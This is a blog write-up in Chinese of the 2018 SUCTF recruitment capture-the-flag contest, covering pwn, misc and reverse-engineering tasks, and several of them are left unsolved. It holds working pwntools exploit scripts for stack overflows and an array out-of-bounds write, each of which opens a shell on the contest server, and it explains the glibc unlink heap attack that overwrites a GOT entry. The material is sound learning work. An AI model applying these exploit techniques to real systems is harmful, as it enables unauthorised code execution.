2018 SUCTF招新赛

PWN

1.stack

checksec一波

什么保护都没开,可还行,IDA找一波漏洞

read函数百分之百溢出

我们看到了我们喜爱的

改一下rip美滋滋

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
        cn = process('./pwn')
        bin = ELF('./pwn')
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
        cn = remote("43.254.3.203",10003)
        bin = ELF('./pwn')
        #libc = ELF('')


def z(a=''):
        gdb.attach(cn,a)
        if a == '':
                raw_input()

system_addr=0x0000000000400676
cn.recvuntil("============================")
cn.sendline('a'*0x28+p64(system_addr))
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

结果如下

扫描二维码关注公众号,回复: 4078520 查看本文章

ls之后发现了一大堆文件

最后发现在home文件下有个ctf文件,flag在里面

2. basic pwn

no canary found 就还行

看到了好东西,虽然没有system,万幸有execve函数,重要的指令都在callThisFun函数中,看一下main函数

scanf函数是可以溢出的,直接改rip就好了,思路一样的

from pwn import *

#cn=process("./pwn.2")
cn=remote("43.254.3.203",10004)
execve_addr=0x0000000000401157
payload='a'*(0x110+0x08)+p64(execve_addr)
cn.sendline(payload)
cn.interactive()

3.babyarray

拖进IDA找漏洞

思路还是比较简单的,把a改成0就好了,最初是1,通过scanf覆盖

a的地址在0x601068,这里的6295712就是0x0x6010A0,偏移量是-56,-56/4=-14

exp

from pwn import *

cn=remote("43.254.3.203",10001)

cn.recvuntil("index:")
cn.sendline('-14')
cn.recvuntil("value:")
cn.sendline('0')

cn.interactive()

4.easy_overflow_file_structure

其实不懂这个错误怎么来的,直接拖进IDA看一下

主函数就是个读取文件,文件应该在远程端那边,fgets不会溢出,但我们可以看到secret函数中有我们想要的,如下

做法应该还是改rip就好了,跟进一下su_server函数

基本就是fd相等的话就可以了,看看哪里可以溢出,或者覆盖

可以看到fd与byte_60217F的距离非常近,byte_60217F的值是可控制的,可以试一下能否覆盖到

结合IDA还有如下这块,刚开始其实还是很困惑的,太菜了233

先咕了

5.unlink

这一看这么些功能,再结合题目,怀疑是个堆题,难受,我连栈的题目都还没AK

在touch函数中我们可以看到,最多只能键10个node,每个node大小∈[0,512]

然后结合一下程序运行,每个node的堆空间有,对malloc打断点在gdb里可以看一下

touch1次之后:

touch第3次后:

可以看到是fastbin,可以利用回收机制攻击

我们看一下下面这几块

这里仔细一想大有问题,我们的fastbin是靠链表连着的,我们如果越界输入,是可以修改相邻的fastbin的信息的

在unlink的过程中使用shellcode地址覆盖掉free函数(或其他函数也行)的GOT表项。这样当程序后续调用free函数回收堆的时候,就转而执行我们的shellcode了。显然,核心就是理解glibc malloc的free机制

free玩你的堆,会有合并操作,你想啊,如果你回收的这块堆的前后相邻的堆也是空闲的那肯定也要一起回收掉啊

注:将previous free chunk合并到当前free chunk,叫做向后合并;将后面的free chunk合并到当前free chunk,叫做向前合并,这里有点反我自己逻辑,所以我就强行反着记了,23333

删除的过程其实不难理解,双向链表里移除一段就可以了,简单的数据结构

下面的图是盗来的,就是这个样子的,链接:https://www.cnblogs.com/alisecurity/p/5563819.html

那我们怎么攻击呢,我们可以先创建两个fastbin,然后如下图

这里-4,-12怎么来的就需要去了解一个堆块的结构,这里先不做介绍了,总之就是把第二个fastbin的前一个堆块的的内容改为了free函数的got表地址,后一块fastbin的指向shellcode,这里是32位的程序,我们64位要改的话需要-24

这样,我们在释放第一块fastbin的时候,前一个堆块肯定是非空闲的,不能向后合并,然后判断后一块是不是空闲

它是通过将nextchunk + nextsize计算得到指向下下一个chunk的指针,然后判断下下个chunk的size的PREV_INUSE标记位。在本例中,此时nextsize被我们设置为了-4,这样glibc malloc就会将next chunk的prev_size字段看做是next-next chunk的size字段,而我们已经将next chunk的prev_size字段设置为了一个偶数,转换之后就是0,即next chunk为free!既然next chunk为free,那么就需要进行向前合并,就会unlink第二个fastbin

执行unlink,将第二块fastbin拆卸下来,并将其前后两块链起来

最后我们在释放第二fastbin的时候执行free函数时,执行的就会使我们的shellcode了,原理就是这样

然后最惊喜的是,这个是老版本的unlink,新版本这么做无效,自闭,咕咕咕,去学新的了

MISC

1.one image %3F

看见这个标题我一开始极度怀疑是图片仓图片,这个%3F不是很理解

foremost了一下,果然有东西,出来了一个audit.txt,并看不懂里面写的是个啥,后来发现只要foremost就有这个文件,sb了,凉了,不会了

2.single dog

根据提示直接binwalk,发现了颜文字的txt,联系到js的颜文字混淆,找解析网站解密

解析出来是双十一快乐,输进去发现不对,不知道咋回事,后来发现换了个网站丢进去就好了,连接:

https://tool.zcmzcm.org/aadecode

RE

1.basic re

拖进IDA,靠字符串定位

题目给的提示是暴力破解,应该就是直接逆向回去,硬做

在linx底下file了一下,发现是PE64位的可执行文件,改完后缀名后情况如下

直接丢个脚本吧,参考了一下大佬的,知道自己刚开始哪里错了,多算了一层

#include <stdio.h>
#include <stdlib.h>

int main() {
	unsigned char a[] = { 2,3,2,1,4,7,4,5,10,11,10,9,14,15,12,13,16,19,16,17,20,23,22,19,28,25,30,31,28,25,26,31,36,33,34,39,36,33,34,35,40,41,46,43,36,45,38,47,56,49,58,59,52,61,62,55,48,57,50,59,60,53,54,55,72,73,66,66,68,68,70,71,72,73,74,74,77,77,79,78,80,80,82,83,85,84,86,87,89,89,90,91,92,93,94,94,96,96,99,99,100,101,103,103,105,105,107,107,108,109,110,110,112,112,114,115,116,117,119,119,120,121,123,123,125,125,127,127,-127,-127,-125,-125,-116,-115,-114,-113,-120,-119,-118,-117,-116,-115,-114,-121,-104,-111,-110,-109,-108,-107,-106,-105,-104,-103,-102,-102,-100,-100,-98,-98,-96,-96,-94,-94,-92,-92,-90,-90,-88,-88,-86,-86,-84,-84,-82,-82,-80,-79,-78,-77, };
	for (int k = 0; k < 0x10000; k++) {
		int i = 8;
		unsigned char flag[24] = { 0 };
		unsigned char v189 = 0;
		while (i) {
			--i;
			for (int j = 22; j; flag[j] |= v189 << i)
			{
				unsigned char v188 = *(a + 22 * i + --j);
				v189 = (v188 >> ((k >> 2 * i) & 3)) & 1;
			}
		}
		if (flag[0] == 'S' && flag[1] == 'U') {
			printf("%d\n", k);
			printf("%s\n", flag);
		}
	}
	system("pause");
	return 0;
}

2.HelloPython

解压出来是个pyc文件,直接pyc反编译,一些在线工具和脚本都反编译失败了,不知道搞了什么鬼

然后就老老实实用uncompyle6尝试反编译,编译出来的文件用vim打开,完全看不懂,哭哭,全是lambda函数,不熟悉

只能看出来是python2.7,有一大堆混淆代码,没看明白……

3.game

也不知自己单子怎么这么大,在前两个都还没做出来的时候就来看第三题了

提示我缺失文件,我还去下载了一波

猜测是迷宫题,烦人

倒着去推flag

flag应该是19位的,未完待续

猜你喜欢

转载自blog.csdn.net/qq_42192672/article/details/83822991